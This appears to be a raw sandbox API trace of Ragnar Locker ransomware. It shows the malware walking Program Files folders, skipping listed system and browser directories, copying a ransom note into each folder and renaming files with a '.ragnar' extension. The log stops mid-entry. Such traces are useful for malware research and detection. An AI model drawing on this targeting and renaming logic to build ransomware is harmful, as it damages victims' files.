lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" [0079.356] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RGNR_FD7BD9FC.txt" [0079.356] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.358] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*" [0079.358] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0079.358] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.358] lstrcpyW (in: lpString1=0x1ea748, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.358] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.358] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.358] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.358] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.358] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0079.358] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0079.358] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0079.358] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818b10e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.358] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.358] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.359] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0079.359] lstrcmpiW (lpString1="videowall.png", lpString2=".") returned 1 [0079.359] lstrcmpiW (lpString1="videowall.png", lpString2="..") returned 1 [0079.359] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0079.359] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.359] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.359] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0079.359] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0079.359] lstrcpyW (in: lpString1=0x1eab5c, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0079.359] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png") returned=".png" [0079.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.359] CloseHandle (hObject=0xffffffff) returned 0 [0079.359] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" [0079.359] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.ragnar_FD7BD9FC" [0079.359] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.360] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818b10e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.360] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0079.360] lstrcpyW (in: lpString1=0x1eab5c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.360] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.360] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0079.360] lstrcpyW (in: lpString1=0x1eab5c, lpString2="videowall.png" | out: lpString1="videowall.png") returned="videowall.png" [0079.360] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png") returned=".png" [0079.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.360] CloseHandle (hObject=0xffffffff) returned 0 [0079.360] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" [0079.360] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.ragnar_FD7BD9FC" [0079.360] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.360] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0079.360] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0079.360] lstrcmpiW (lpString1="Vignette", lpString2=".") returned 1 [0079.360] lstrcmpiW (lpString1="Vignette", lpString2="..") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Windows") returned -1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Windows.old") returned -1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Tor browser") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Internet Explorer") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Google") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Opera") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Opera Software") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Mozilla") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="Mozilla Firefox") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="$Recycle.Bin") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="ProgramData") returned 1 [0079.361] lstrcmpiW (lpString1="Vignette", lpString2="All Users") returned 1 [0079.361] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.361] lstrcpyW (in: lpString1=0x1eb620, lpString2="Vignette" | out: lpString1="Vignette") returned="Vignette" [0079.361] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" [0079.361] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" [0079.361] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RGNR_FD7BD9FC.txt" [0079.361] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*" [0079.365] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.365] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.365] lstrcpyW (in: lpString1=0x1ea746, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.365] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.365] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.365] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.365] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.365] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.365] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818b10e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, 